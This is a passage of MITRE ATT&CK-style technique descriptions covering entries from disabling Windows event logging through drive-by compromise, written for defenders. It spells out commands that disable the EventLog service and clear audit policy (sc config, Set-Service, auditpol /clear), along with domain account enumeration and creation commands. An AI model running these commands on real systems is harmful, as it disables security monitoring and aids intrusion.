The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)

Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the “Start” value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)

There are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the “Start” value in the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System and HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)

Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)

By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.
T1089Disabling Security ToolsAdversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
T1488Disk Content WipeAdversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like RawDisk to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from Data Destruction because sections of the disk erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like Valid AccountsOS Credential Dumping, and Windows Admin Shares.(Citation: Novetta Blockbuster Destructive Malware)
T1561.001Disk Content WipeAdversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like RawDisk to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from Data Destruction because sections of the disk are erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like Valid AccountsOS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Novetta Blockbuster Destructive Malware)
T1561.002Disk Structure WipeAdversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.

On a network devices, adversaries may reformat the file system using Network Device CLI commands such as format.(Citation: format_cmd_cisco)

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid AccountsOS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
T1487Disk Structure WipeAdversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid AccountsOS Credential Dumping, and Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
T1561Disk WipeAdversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like Valid AccountsOS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Novetta Blockbuster Destructive Malware)

On network devices, adversaries may wipe configuration files and other data from the device using Network Device CLI commands such as erase.(Citation: erase_cmd_cisco)
T1021.003Distributed Component Object ModelAdversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)

Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation. (Citation: MSDN WMI)
T1574.001DLL Search Order HijackingAdversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
T1038DLL Search Order HijackingWindows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
T1073DLL Side-LoadingPrograms may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)

Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.
IDNameDescription
T1574.002DLL Side-LoadingAdversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
T1590.002DNSAdversaries may gather information about the victim’s DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)

Adversaries may gather this information in various ways, such as querying or otherwise collecting details via DNS/Passive DNS. DNS information may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical DatabasesSearch Open Websites/Domains, or Active Scanning), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).
T1071.004DNSAdversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)
T1568.003DNS CalculationAdversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)

One implementation of DNS Calculation is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)
T1583.002DNS ServerAdversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.

By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic (DNS). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)
T1584.002DNS ServerAdversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.

By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization’s traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)
T1596.001DNS/Passive DNSAdversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.

Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).
T1087.002Domain AccountAdversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.

Commands such as net user /domain and net group /domain of the Net utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. PowerShell cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.
T1136.002Domain AccountAdversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
T1078.002Domain AccountsAdversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.
T1556.001Domain Controller AuthenticationAdversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.

Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: Skeleton Key). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)
T1172Domain FrontingDomain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, “domainless” fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
T1090.004Domain FrontingAdversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, “domainless” fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
T1568.002Domain Generation AlgorithmsAdversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
T1483Domain Generation AlgorithmsAdversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
T1069.002Domain GroupsAdversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Commands such as net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.
T1484Domain Policy ModificationAdversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.

With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious Scheduled Task to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a Rogue Domain Controller.

Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.
T1590.001Domain PropertiesAdversaries may gather information about the victim’s network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical DatabasesSearch Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).
T1482Domain Trust DiscoveryAdversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct SID-History InjectionPass the Ticket, and Kerberoasting.(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility Nltest is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)
T1484.002Domain Trust ModificationAdversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.

Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge SAML Tokens, without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain)
T1583.001DomainsAdversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.

Adversaries may use acquired domains for a variety of purposes, including for PhishingDrive-by Compromise, and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute “IDN homograph attacks,” creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)

Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)

Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)
T1584.001DomainsAdversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)

Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)

Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)
T1036.007Double File ExtensionAdversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)

Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)

Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.
T1562.010Downgrade AttackAdversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, PowerShell versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to Impair Defenses while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)

Adversaries may downgrade and use less-secure versions of various features of a system, such as Command and Scripting Interpreters or even network protocols that can be abused to enable Adversary-in-the-Middle.(Citation: Praetorian TLS Downgrade Attack 2014)
T1601.002Downgrade System ImageAdversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)

On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.

Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as Weaken Encryption. Downgrading of a system image can be done on its own, or it can be used in conjunction with Patch System Image.
T1189Drive-by CompromiseAdversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user’s web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token.

Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including:

- A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting
- Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary
- Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising)
